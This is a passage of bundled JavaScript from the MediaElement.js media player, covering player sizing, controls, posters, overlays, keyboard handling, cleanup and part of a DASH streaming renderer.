setPlayerSize(width, height) { var t = this; if (!t.options.setDimensions) { return false; } if (typeof width !== 'undefined') { t.width = width; } if (typeof height !== 'undefined') { t.height = height; } switch (t.options.stretching) { case 'fill': if (t.isVideo) { t.setFillMode(); } else { t.setDimensions(t.width, t.height); } break; case 'responsive': t.setResponsiveMode(); break; case 'none': t.setDimensions(t.width, t.height); break; default: if (t.hasFluidMode() === true) { t.setResponsiveMode(); } else { t.setDimensions(t.width, t.height); } break; } } }, { key: 'hasFluidMode', value: function hasFluidMode() { var t = this; return t.height.toString().indexOf('%') !== -1 || t.node && t.node.style.maxWidth && t.node.style.maxWidth !== 'none' && t.node.style.maxWidth !== t.width || t.node && t.node.currentStyle && t.node.currentStyle.maxWidth === '100%'; } }, { key: 'setResponsiveMode', value: function setResponsiveMode() { var t = this, parent = function () { var parentEl = void 0, el = t.getElement(t.container); while (el) { try { if (_constants.IS_FIREFOX && el.tagName.toLowerCase() === 'html' && _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null) { return _window2.default.frameElement; } else { parentEl = el.parentElement; } } catch (e) { parentEl = el.parentElement; } if (parentEl && dom.visible(parentEl)) { return parentEl; } el = parentEl; } return null; }(), parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null), nativeWidth = function () { if (t.isVideo) { if (t.node.videoWidth && t.node.videoWidth > 0) { return t.node.videoWidth; } else if (t.node.getAttribute('width')) { return t.node.getAttribute('width'); } else { return t.options.defaultVideoWidth; } } else { return t.options.defaultAudioWidth; } }(), nativeHeight = function () { if (t.isVideo) { if (t.node.videoHeight && t.node.videoHeight > 0) { return t.node.videoHeight; } else if (t.node.getAttribute('height')) { return t.node.getAttribute('height'); } else { return t.options.defaultVideoHeight; } } else { return t.options.defaultAudioHeight; } }(), aspectRatio = function () { var ratio = 1; if (!t.isVideo) { return ratio; } if (t.node.videoWidth && t.node.videoWidth > 0 && t.node.videoHeight && t.node.videoHeight > 0) { ratio = t.height >= t.width ? t.node.videoWidth / t.node.videoHeight : t.node.videoHeight / t.node.videoWidth; } else { ratio = t.initialAspectRatio; } if (isNaN(ratio) || ratio < 0.01 || ratio > 100) { ratio = 1; } return ratio; }(), parentHeight = parseFloat(parentStyles.height); var newHeight = void 0, parentWidth = parseFloat(parentStyles.width); if (t.isVideo) { if (t.height === '100%') { newHeight = parseFloat(parentWidth * nativeHeight / nativeWidth, 10); } else { newHeight = t.height >= t.width ? parseFloat(parentWidth / aspectRatio, 10) : parseFloat(parentWidth * aspectRatio, 10); } } else { newHeight = nativeHeight; } if (isNaN(newHeight)) { newHeight = parentHeight; } if (t.getElement(t.container).parentNode.length > 0 && t.getElement(t.container).parentNode.tagName.toLowerCase() === 'body') { parentWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth; newHeight = _window2.default.innerHeight || _document2.default.documentElement.clientHeight || _document2.default.body.clientHeight; } if (newHeight && parentWidth) { t.getElement(t.container).style.width = parentWidth + 'px'; t.getElement(t.container).style.height = newHeight + 'px'; t.node.style.width = '100%'; t.node.style.height = '100%'; if (t.isVideo && t.media.setSize) { t.media.setSize(parentWidth, newHeight); } var layerChildren = t.getElement(t.layers).children; for (var i = 0, total = layerChildren.length; i < total; i++) { layerChildren[i].style.width = '100%'; layerChildren[i].style.height = '100%'; } } } }, { key: 'setFillMode', value: function setFillMode() { var t = this; var isIframe = _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null; var parent = function () { var parentEl = void 0, el = t.getElement(t.container); while (el) { try { if (_constants.IS_FIREFOX && el.tagName.toLowerCase() === 'html' && _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null) { return _window2.default.frameElement; } else { parentEl = el.parentElement; } } catch (e) { parentEl = el.parentElement; } if (parentEl && dom.visible(parentEl)) { return parentEl; } el = parentEl; } return null; }(); var parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null); if (t.node.style.height !== 'none' && t.node.style.height !== t.height) { t.node.style.height = 'auto'; } if (t.node.style.maxWidth !== 'none' && t.node.style.maxWidth !== t.width) { t.node.style.maxWidth = 'none'; } if (t.node.style.maxHeight !== 'none' && t.node.style.maxHeight !== t.height) { t.node.style.maxHeight = 'none'; } if (t.node.currentStyle) { if (t.node.currentStyle.height === '100%') { t.node.currentStyle.height = 'auto'; } if (t.node.currentStyle.maxWidth === '100%') { t.node.currentStyle.maxWidth = 'none'; } if (t.node.currentStyle.maxHeight === '100%') { t.node.currentStyle.maxHeight = 'none'; } } if (!isIframe && !parseFloat(parentStyles.width)) { parent.style.width = t.media.offsetWidth + 'px'; } if (!isIframe && !parseFloat(parentStyles.height)) { parent.style.height = t.media.offsetHeight + 'px'; } parentStyles = getComputedStyle(parent); var parentWidth = parseFloat(parentStyles.width), parentHeight = parseFloat(parentStyles.height); t.setDimensions('100%', '100%'); var poster = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster>img'); if (poster) { poster.style.display = ''; } var targetElement = t.getElement(t.container).querySelectorAll('object, embed, iframe, video'), initHeight = t.height, initWidth = t.width, scaleX1 = parentWidth, scaleY1 = initHeight * parentWidth / initWidth, scaleX2 = initWidth * parentHeight / initHeight, scaleY2 = parentHeight, bScaleOnWidth = scaleX2 > parentWidth === false, finalWidth = bScaleOnWidth ? Math.floor(scaleX1) : Math.floor(scaleX2), finalHeight = bScaleOnWidth ? Math.floor(scaleY1) : Math.floor(scaleY2), width = bScaleOnWidth ? parentWidth + 'px' : finalWidth + 'px', height = bScaleOnWidth ? finalHeight + 'px' : parentHeight + 'px'; for (var i = 0, total = targetElement.length; i < total; i++) { targetElement[i].style.height = height; targetElement[i].style.width = width; if (t.media.setSize) { t.media.setSize(width, height); } targetElement[i].style.marginLeft = Math.floor((parentWidth - finalWidth) / 2) + 'px'; targetElement[i].style.marginTop = 0; } } }, { key: 'setDimensions', value: function setDimensions(width, height) { var t = this; width = (0, _general.isString)(width) && width.indexOf('%') > -1 ? width : parseFloat(width) + 'px'; height = (0, _general.isString)(height) && height.indexOf('%') > -1 ? height : parseFloat(height) + 'px'; t.getElement(t.container).style.width = width; t.getElement(t.container).style.height = height; var layers = t.getElement(t.layers).children; for (var i = 0, total = layers.length; i < total; i++) { layers[i].style.width = width; layers[i].style.height = height; } } }, { key: 'setControlsSize', value: function setControlsSize() { var t = this; if (!dom.visible(t.getElement(t.container))) { return; } if (t.rail && dom.visible(t.rail)) { var totalStyles = t.total ? getComputedStyle(t.total, null) : null, totalMargin = totalStyles ? parseFloat(totalStyles.marginLeft) + parseFloat(totalStyles.marginRight) : 0, railStyles = getComputedStyle(t.rail), railMargin = parseFloat(railStyles.marginLeft) + parseFloat(railStyles.marginRight); var siblingsWidth = 0; var siblings = dom.siblings(t.rail, function (el) { return el !== t.rail; }), total = siblings.length; for (var i = 0; i < total; i++) { siblingsWidth += siblings[i].offsetWidth; } siblingsWidth += totalMargin + (totalMargin === 0 ? railMargin * 2 : railMargin) + 1; t.getElement(t.container).style.minWidth = siblingsWidth + 'px'; var event = (0, _general.createEvent)('controlsresize', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } else { var children = t.getElement(t.controls).children; var minWidth = 0; for (var _i = 0, _total = children.length; _i < _total; _i++) { minWidth += children[_i].offsetWidth; } t.getElement(t.container).style.minWidth = minWidth + 'px'; } } }, { key: 'addControlElement', value: function addControlElement(element, key) { var t = this; if (t.featurePosition[key] !== undefined) { var child = t.getElement(t.controls).children[t.featurePosition[key] - 1]; child.parentNode.insertBefore(element, child.nextSibling); } else { t.getElement(t.controls).appendChild(element); var children = t.getElement(t.controls).children; for (var i = 0, total = children.length; i < total; i++) { if (element === children[i]) { t.featurePosition[key] = i; break; } } } } }, { key: 'createIframeLayer', value: function createIframeLayer() { var t = this; if (t.isVideo && t.media.rendererName !== null && t.media.rendererName.indexOf('iframe') > -1 && !_document2.default.getElementById(t.media.id + '-iframe-overlay')) { var layer = _document2.default.createElement('div'), target = _document2.default.getElementById(t.media.id + '_' + t.media.rendererName); layer.id = t.media.id + '-iframe-overlay'; layer.className = t.options.classPrefix + 'iframe-overlay'; layer.addEventListener('click', function (e) { if (t.options.clickToPlayPause) { if (t.paused) { t.play(); } else { t.pause(); } e.preventDefault(); e.stopPropagation(); } }); target.parentNode.insertBefore(layer, target); } } }, { key: 'resetSize', value: function resetSize() { var t = this; setTimeout(function () { t.setPlayerSize(t.width, t.height); t.setControlsSize(); }, 50); } }, { key: 'setPoster', value: function setPoster(url) { var t = this; if (t.getElement(t.container)) { var posterDiv = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster'); if (!posterDiv) { posterDiv = _document2.default.createElement('div'); posterDiv.className = t.options.classPrefix + 'poster ' + t.options.classPrefix + 'layer'; t.getElement(t.layers).appendChild(posterDiv); } var posterImg = posterDiv.querySelector('img'); if (!posterImg && url) { posterImg = _document2.default.createElement('img'); posterImg.className = t.options.classPrefix + 'poster-img'; posterImg.width = '100%'; posterImg.height = '100%'; posterDiv.style.display = ''; posterDiv.appendChild(posterImg); } if (url) { posterImg.setAttribute('src', url); posterDiv.style.backgroundImage = 'url("' + url + '")'; posterDiv.style.display = ''; } else if (posterImg) { posterDiv.style.backgroundImage = 'none'; posterDiv.style.display = 'none'; posterImg.remove(); } else { posterDiv.style.display = 'none'; } } else if (_constants.IS_IPAD && t.options.iPadUseNativeControls || _constants.IS_IPHONE && t.options.iPhoneUseNativeControls || _constants.IS_ANDROID && t.options.AndroidUseNativeControls) { t.media.originalNode.poster = url; } } }, { key: 'changeSkin', value: function changeSkin(className) { var t = this; t.getElement(t.container).className = t.options.classPrefix + 'container ' + className; t.setPlayerSize(t.width, t.height); t.setControlsSize(); } }, { key: 'globalBind', value: function globalBind(events, callback) { var t = this, doc = t.node ? t.node.ownerDocument : _document2.default; events = (0, _general.splitEvents)(events, t.id); if (events.d) { var eventList = events.d.split(' '); for (var i = 0, total = eventList.length; i < total; i++) { eventList[i].split('.').reduce(function (part, e) { doc.addEventListener(e, callback, false); return e; }, ''); } } if (events.w) { var _eventList = events.w.split(' '); for (var _i2 = 0, _total2 = _eventList.length; _i2 < _total2; _i2++) { _eventList[_i2].split('.').reduce(function (part, e) { _window2.default.addEventListener(e, callback, false); return e; }, ''); } } } }, { key: 'globalUnbind', value: function globalUnbind(events, callback) { var t = this, doc = t.node ? t.node.ownerDocument : _document2.default; events = (0, _general.splitEvents)(events, t.id); if (events.d) { var eventList = events.d.split(' '); for (var i = 0, total = eventList.length; i < total; i++) { eventList[i].split('.').reduce(function (part, e) { doc.removeEventListener(e, callback, false); return e; }, ''); } } if (events.w) { var _eventList2 = events.w.split(' '); for (var _i3 = 0, _total3 = _eventList2.length; _i3 < _total3; _i3++) { _eventList2[_i3].split('.').reduce(function (part, e) { _window2.default.removeEventListener(e, callback, false); return e; }, ''); } } } }, { key: 'buildfeatures', value: function buildfeatures(player, controls, layers, media) { var t = this; for (var i = 0, total = t.options.features.length; i < total; i++) { var feature = t.options.features[i]; if (t['build' + feature]) { try { t['build' + feature](player, controls, layers, media); } catch (e) { console.error('error building ' + feature, e); } } } } }, { key: 'buildposter', value: function buildposter(player, controls, layers, media) { var t = this, poster = _document2.default.createElement('div'); poster.className = t.options.classPrefix + 'poster ' + t.options.classPrefix + 'layer'; layers.appendChild(poster); var posterUrl = media.originalNode.getAttribute('poster'); if (player.options.poster !== '') { if (posterUrl && _constants.IS_IOS) { media.originalNode.removeAttribute('poster'); } posterUrl = player.options.poster; } if (posterUrl) { t.setPoster(posterUrl); } else if (t.media.renderer !== null && typeof t.media.renderer.getPosterUrl === 'function') { t.setPoster(t.media.renderer.getPosterUrl()); } else { poster.style.display = 'none'; } media.addEventListener('play', function () { poster.style.display = 'none'; }); media.addEventListener('playing', function () { poster.style.display = 'none'; }); if (player.options.showPosterWhenEnded && player.options.autoRewind) { media.addEventListener('ended', function () { poster.style.display = ''; }); } media.addEventListener('error', function () { poster.style.display = 'none'; }); if (player.options.showPosterWhenPaused) { media.addEventListener('pause', function () { if (!player.ended) { poster.style.display = ''; } }); } } }, { key: 'buildoverlays', value: function buildoverlays(player, controls, layers, media) { if (!player.isVideo) { return; } var t = this, loading = _document2.default.createElement('div'), error = _document2.default.createElement('div'), bigPlay = _document2.default.createElement('div'); loading.style.display = 'none'; loading.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer'; loading.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-loading">' + ('<span class="' + t.options.classPrefix + 'overlay-loading-bg-img"></span>') + '</div>'; layers.appendChild(loading); error.style.display = 'none'; error.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer'; error.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-error"></div>'; layers.appendChild(error); bigPlay.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer ' + t.options.classPrefix + 'overlay-play'; bigPlay.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-button" role="button" tabindex="0" ' + ('aria-label="' + _i18n2.default.t('mejs.play') + '" aria-pressed="false"></div>'); bigPlay.addEventListener('click', function () { if (t.options.clickToPlayPause) { var button = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-button'), pressed = button.getAttribute('aria-pressed'); if (t.paused) { t.play(); } else { t.pause(); } button.setAttribute('aria-pressed', !!pressed); t.getElement(t.container).focus(); } }); bigPlay.addEventListener('keydown', function (e) { var keyPressed = e.keyCode || e.which || 0; if (keyPressed === 13 || _constants.IS_FIREFOX && keyPressed === 32) { var event = (0, _general.createEvent)('click', bigPlay); bigPlay.dispatchEvent(event); return false; } }); layers.appendChild(bigPlay); if (t.media.rendererName !== null && (/(youtube|facebook)/i.test(t.media.rendererName) && !(t.media.originalNode.getAttribute('poster') || player.options.poster || typeof t.media.renderer.getPosterUrl === 'function' && t.media.renderer.getPosterUrl()) || _constants.IS_STOCK_ANDROID || t.media.originalNode.getAttribute('autoplay'))) { bigPlay.style.display = 'none'; } var hasError = false; media.addEventListener('play', function () { bigPlay.style.display = 'none'; loading.style.display = 'none'; error.style.display = 'none'; hasError = false; }); media.addEventListener('playing', function () { bigPlay.style.display = 'none'; loading.style.display = 'none'; error.style.display = 'none'; hasError = false; }); media.addEventListener('seeking', function () { bigPlay.style.display = 'none'; loading.style.display = ''; hasError = false; }); media.addEventListener('seeked', function () { bigPlay.style.display = t.paused && !_constants.IS_STOCK_ANDROID ? '' : 'none'; loading.style.display = 'none'; hasError = false; }); media.addEventListener('pause', function () { loading.style.display = 'none'; if (!_constants.IS_STOCK_ANDROID && !hasError) { bigPlay.style.display = ''; } hasError = false; }); media.addEventListener('waiting', function () { loading.style.display = ''; hasError = false; }); media.addEventListener('loadeddata', function () { loading.style.display = ''; if (_constants.IS_ANDROID) { media.canplayTimeout = setTimeout(function () { if (_document2.default.createEvent) { var evt = _document2.default.createEvent('HTMLEvents'); evt.initEvent('canplay', true, true); return media.dispatchEvent(evt); } }, 300); } hasError = false; }); media.addEventListener('canplay', function () { loading.style.display = 'none'; clearTimeout(media.canplayTimeout); hasError = false; }); media.addEventListener('error', function (e) { t._handleError(e, t.media, t.node); loading.style.display = 'none'; bigPlay.style.display = 'none'; hasError = true; }); media.addEventListener('loadedmetadata', function () { if (!t.controlsEnabled) { t.enableControls(); } }); media.addEventListener('keydown', function (e) { t.onkeydown(player, media, e); hasError = false; }); } }, { key: 'buildkeyboard', value: function buildkeyboard(player, controls, layers, media) { var t = this; t.getElement(t.container).addEventListener('keydown', function () { t.keyboardAction = true; }); t.globalKeydownCallback = function (event) { var container = _document2.default.activeElement.closest('.' + t.options.classPrefix + 'container'), target = t.media.closest('.' + t.options.classPrefix + 'container'); t.hasFocus = !!(container && target && container.id === target.id); return t.onkeydown(player, media, event); }; t.globalClickCallback = function (event) { t.hasFocus = !!event.target.closest('.' + t.options.classPrefix + 'container'); }; t.globalBind('keydown', t.globalKeydownCallback); t.globalBind('click', t.globalClickCallback); } }, { key: 'onkeydown', value: function onkeydown(player, media, e) { if (player.hasFocus && player.options.enableKeyboard) { for (var i = 0, total = player.options.keyActions.length; i < total; i++) { var keyAction = player.options.keyActions[i]; for (var j = 0, jl = keyAction.keys.length; j < jl; j++) { if (e.keyCode === keyAction.keys[j]) { keyAction.action(player, media, e.keyCode, e); e.preventDefault(); e.stopPropagation(); return; } } } } return true; } }, { key: 'play', value: function play() { this.proxy.play(); } }, { key: 'pause', value: function pause() { this.proxy.pause(); } }, { key: 'load', value: function load() { this.proxy.load(); } }, { key: 'setCurrentTime', value: function setCurrentTime(time) { this.proxy.setCurrentTime(time); } }, { key: 'getCurrentTime', value: function getCurrentTime() { return this.proxy.currentTime; } }, { key: 'getDuration', value: function getDuration() { return this.proxy.duration; } }, { key: 'setVolume', value: function setVolume(volume) { this.proxy.volume = volume; } }, { key: 'getVolume', value: function getVolume() { return this.proxy.getVolume(); } }, { key: 'setMuted', value: function setMuted(value) { this.proxy.setMuted(value); } }, { key: 'setSrc', value: function setSrc(src) { if (!this.controlsEnabled) { this.enableControls(); } this.proxy.setSrc(src); } }, { key: 'getSrc', value: function getSrc() { return this.proxy.getSrc(); } }, { key: 'canPlayType', value: function canPlayType(type) { return this.proxy.canPlayType(type); } }, { key: 'remove', value: function remove() { var t = this, rendererName = t.media.rendererName, src = t.media.originalNode.src; for (var featureIndex in t.options.features) { var feature = t.options.features[featureIndex]; if (t['clean' + feature]) { try { t['clean' + feature](t, t.getElement(t.layers), t.getElement(t.controls), t.media); } catch (e) { console.error('error cleaning ' + feature, e); } } } var nativeWidth = t.node.getAttribute('width'), nativeHeight = t.node.getAttribute('height'); if (nativeWidth) { if (nativeWidth.indexOf('%') === -1) { nativeWidth = nativeWidth + 'px'; } } else { nativeWidth = 'auto'; } if (nativeHeight) { if (nativeHeight.indexOf('%') === -1) { nativeHeight = nativeHeight + 'px'; } } else { nativeHeight = 'auto'; } t.node.style.width = nativeWidth; t.node.style.height = nativeHeight; t.setPlayerSize(0, 0); if (!t.isDynamic) { (function () { t.node.setAttribute('controls', true); t.node.setAttribute('id', t.node.getAttribute('id').replace('_' + rendererName, '').replace('_from_mejs', '')); var poster = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster>img'); if (poster) { t.node.setAttribute('poster', poster.src); } delete t.node.autoplay; t.node.setAttribute('src', ''); if (t.media.canPlayType((0, _media.getTypeFromFile)(src)) !== '') { t.node.setAttribute('src', src); } if (rendererName && rendererName.indexOf('iframe') > -1) { var layer = _document2.default.getElementById(t.media.id + '-iframe-overlay'); layer.remove(); } var node = t.node.cloneNode(); node.style.display = ''; t.getElement(t.container).parentNode.insertBefore(node, t.getElement(t.container)); t.node.remove(); if (t.mediaFiles) { for (var i = 0, total = t.mediaFiles.length; i < total; i++) { var source = _document2.default.createElement('source'); source.setAttribute('src', t.mediaFiles[i].src); source.setAttribute('type', t.mediaFiles[i].type); node.appendChild(source); } } if (t.trackFiles) { var _loop3 = function _loop3(_i4, _total4) { var track = t.trackFiles[_i4]; var newTrack = _document2.default.createElement('track'); newTrack.kind = track.kind; newTrack.label = track.label; newTrack.srclang = track.srclang; newTrack.src = track.src; node.appendChild(newTrack); newTrack.addEventListener('load', function () { this.mode = 'showing'; node.textTracks[_i4].mode = 'showing'; }); }; for (var _i4 = 0, _total4 = t.trackFiles.length; _i4 < _total4; _i4++) { _loop3(_i4, _total4); } } delete t.node; delete t.mediaFiles; delete t.trackFiles; })(); } else { t.getElement(t.container).parentNode.insertBefore(t.node, t.getElement(t.container)); } if (t.media.renderer && typeof t.media.renderer.destroy === 'function') { t.media.renderer.destroy(); } delete _mejs2.default.players[t.id]; if (_typeof(t.getElement(t.container)) === 'object') { var offscreen = t.getElement(t.container).parentNode.querySelector('.' + t.options.classPrefix + 'offscreen'); offscreen.remove(); t.getElement(t.container).remove(); } t.globalUnbind('resize', t.globalResizeCallback); t.globalUnbind('keydown', t.globalKeydownCallback); t.globalUnbind('click', t.globalClickCallback); delete t.media.player; } }, { key: 'paused', get: function get() { return this.proxy.paused; } }, { key: 'muted', get: function get() { return this.proxy.muted; }, set: function set(muted) { this.setMuted(muted); } }, { key: 'ended', get: function get() { return this.proxy.ended; } }, { key: 'readyState', get: function get() { return this.proxy.readyState; } }, { key: 'currentTime', set: function set(time) { this.setCurrentTime(time); }, get: function get() { return this.getCurrentTime(); } }, { key: 'duration', get: function get() { return this.getDuration(); } }, { key: 'volume', set: function set(volume) { this.setVolume(volume); }, get: function get() { return this.getVolume(); } }, { key: 'src', set: function set(src) { this.setSrc(src); }, get: function get() { return this.getSrc(); } }]); return MediaElementPlayer; }(); _window2.default.MediaElementPlayer = MediaElementPlayer; _mejs2.default.MediaElementPlayer = MediaElementPlayer; exports.default = MediaElementPlayer; },{"17":17,"2":2,"25":25,"26":26,"27":27,"28":28,"3":3,"30":30,"5":5,"6":6,"7":7}],17:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var DefaultPlayer = function () { function DefaultPlayer(player) { _classCallCheck(this, DefaultPlayer); this.media = player.media; this.isVideo = player.isVideo; this.classPrefix = player.options.classPrefix; this.createIframeLayer = function () { return player.createIframeLayer(); }; this.setPoster = function (url) { return player.setPoster(url); }; return this; } _createClass(DefaultPlayer, [{ key: 'play', value: function play() { this.media.play(); } }, { key: 'pause', value: function pause() { this.media.pause(); } }, { key: 'load', value: function load() { var t = this; if (!t.isLoaded) { t.media.load(); } t.isLoaded = true; } }, { key: 'setCurrentTime', value: function setCurrentTime(time) { this.media.setCurrentTime(time); } }, { key: 'getCurrentTime', value: function getCurrentTime() { return this.media.currentTime; } }, { key: 'getDuration', value: function getDuration() { var duration = this.media.getDuration(); if (duration === Infinity && this.media.seekable && this.media.seekable.length) { duration = this.media.seekable.end(0); } return duration; } }, { key: 'setVolume', value: function setVolume(volume) { this.media.setVolume(volume); } }, { key: 'getVolume', value: function getVolume() { return this.media.getVolume(); } }, { key: 'setMuted', value: function setMuted(value) { this.media.setMuted(value); } }, { key: 'setSrc', value: function setSrc(src) { var t = this, layer = document.getElementById(t.media.id + '-iframe-overlay'); if (layer) { layer.remove(); } t.media.setSrc(src); t.createIframeLayer(); if (t.media.renderer !== null && typeof t.media.renderer.getPosterUrl === 'function') { t.setPoster(t.media.renderer.getPosterUrl()); } } }, { key: 'getSrc', value: function getSrc() { return this.media.getSrc(); } }, { key: 'canPlayType', value: function canPlayType(type) { return this.media.canPlayType(type); } }, { key: 'paused', get: function get() { return this.media.paused; } }, { key: 'muted', set: function set(muted) { this.setMuted(muted); }, get: function get() { return this.media.muted; } }, { key: 'ended', get: function get() { return this.media.ended; } }, { key: 'readyState', get: function get() { return this.media.readyState; } }, { key: 'currentTime', set: function set(time) { this.setCurrentTime(time); }, get: function get() { return this.getCurrentTime(); } }, { key: 'duration', get: function get() { return this.getDuration(); } }, { key: 'remainingTime', get: function get() { return this.getDuration() - this.currentTime(); } }, { key: 'volume', set: function set(volume) { this.setVolume(volume); }, get: function get() { return this.getVolume(); } }, { key: 'src', set: function set(src) { this.setSrc(src); }, get: function get() { return this.getSrc(); } }]); return DefaultPlayer; }(); exports.default = DefaultPlayer; _window2.default.DefaultPlayer = DefaultPlayer; },{"3":3}],18:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } if (typeof jQuery !== 'undefined') { _mejs2.default.$ = jQuery; } else if (typeof Zepto !== 'undefined') { _mejs2.default.$ = Zepto; } else if (typeof ender !== 'undefined') { _mejs2.default.$ = ender; } (function ($) { if (typeof $ !== 'undefined') { $.fn.mediaelementplayer = function (options) { if (options === false) { this.each(function () { var player = $(this).data('mediaelementplayer'); if (player) { player.remove(); } $(this).removeData('mediaelementplayer'); }); } else { this.each(function () { $(this).data('mediaelementplayer', new _player2.default(this, options)); }); } return this; }; $(document).ready(function () { $('.' + _mejs2.default.MepDefaults.classPrefix + 'player').mediaelementplayer(); }); } })(_mejs2.default.$); },{"16":16,"3":3,"7":7}],19:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _media = _dereq_(28); var _constants = _dereq_(25); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeDash = { promise: null, load: function load(settings) { if (typeof dashjs !== 'undefined') { NativeDash.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeDash._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.dashjs.org/latest/dash.all.min.js'; NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path); NativeDash.promise.then(function () { NativeDash._createPlayer(settings); }); } return NativeDash.promise; }, _createPlayer: function _createPlayer(settings) { var player = dashjs.MediaPlayer().create(); _window2.default['__ready__' + settings.id](player); return player; } }; var DashNativeRenderer = { name: 'native_dash', options: { prefix: 'native_dash', dash: { path: 'https://cdn.dashjs.org/latest/dash.all.min.js', debug: false, drm: {}, robustnessLevel: '' } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/dash+xml'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, autoplay = originalNode.autoplay, children = originalNode.children; var node = null, dashPlayer = null; originalNode.removeAttribute('type'); for (var i = 0, total = children.length; i < total; i++) { children[i].removeAttribute('type'); } node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return dashPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { var source = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; node[propName] = source; if (dashPlayer !== null) { dashPlayer.reset(); for (var _i = 0, _total = events.length; _i < _total; _i++) { node.removeEventListener(events[_i], attachNativeEvents); } dashPlayer = NativeDash._createPlayer({ options: options.dash, id: id }); if (value && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && _typeof(value.drm) === 'object') { dashPlayer.setProtectionData(value.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(source); if (autoplay) { dashPlayer.play(); } } } else { node[propName] = value; } } }; }; for (var _i2 = 0, _total2 = props.length; _i2 < _total2; _i2++) { assignGettersSetters(props[_i2]); } _window2.default['__ready__' + id] = function (_dashPlayer) { mediaElement.dashPlayer = dashPlayer = _dashPlayer; var dashEvents = dashjs.MediaPlayer.events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { dashPlayer.initialize(); dashPlayer.attachView(node); dashPlayer.setAutoPlay(false); if (_typeof(options.dash.drm) === 'object' && !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) { dashPlayer.setProtectionData(options.dash.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(node.getSrc()); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { assignEvents(events[_i3]); } var assignMdashEvents = function assignMdashEvents(e) { if (e.type.toLowerCase() === 'error') { mediaElement.generateError(e.message, node.src); console.error(e); } else { var _event = (0, _general.createEvent)(e.type, mediaElement); _event.data = e; mediaElement.dispatchEvent(_event); } }; for (var eventType in dashEvents) { if (dashEvents.hasOwnProperty(eventType)) { dashPlayer.on(dashEvents[eventType], function (e) { return assignMdashEvents(e); }); } } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { node.setAttribute('src', mediaFiles[_i4].src); if (typeof mediaFiles[_i4].drm !== 'undefined') { options.dash.drm = mediaFiles[_i4].drm; } break; } } } node.setAttribute('id', id); 